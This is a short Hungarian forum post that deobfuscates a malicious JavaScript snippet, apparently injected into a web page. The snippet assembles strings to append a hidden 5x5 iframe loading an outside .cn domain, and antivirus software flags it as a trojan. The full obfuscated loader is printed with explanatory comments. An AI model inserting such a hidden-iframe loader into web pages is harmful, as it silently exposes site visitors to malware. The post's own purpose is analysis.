Új hozzászólás Aktív témák

  • PazsitZ

    addikt

    válasz eziskamu #2920 üzenetére

    Fárasztó egy javascript kód:

    wy='t';
    ya='mp';
    yu='p:';
    qs='sr';
    d='nit';
    l='ame';
    v='c';
    z='t';
    ow='io';
    zt='n/';
    sc='n';
    o='//z';
    hy='cha';
    hg='h';
    p='.c';
    j='ifr';
    f='e';
    dx=j.concat(l); // dx=iframe
    lr=qs.concat(v); // lr=src
    ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt); // http://zenitchampion.cn/
    var dj=document.createElement(dx); // document.createElement(iframe);
    dj.setAttribute('width','5'); //
    dj.setAttribute('height','5'); //
    dj.setAttribute('style','display:none'); //
    dj.setAttribute(lr,ua); // dj.setAttribute('src','http://zenitchampion.cn/');
    document.body.appendChild(dj); // beilleszti a body végére: <iframe width="5" height="5" style="display:none;" src="http://zenitchampion.cn/">

    persze ezek csak akkor futnak le ha <script> tag között vannak.
    A lényege, hogy beilleszti a body végére a következő html kódot (egy nem látható iframe-t a fent említett oldalről):
    <iframe width="5" height="5" style="display:none;" src="fent említett oldal">

    Amire nekem az avast rögtön támadást érzékel (JS:ScriptPE-inf [Trj]) már csak a cím google-al való rákereséssel is.

Új hozzászólás Aktív témák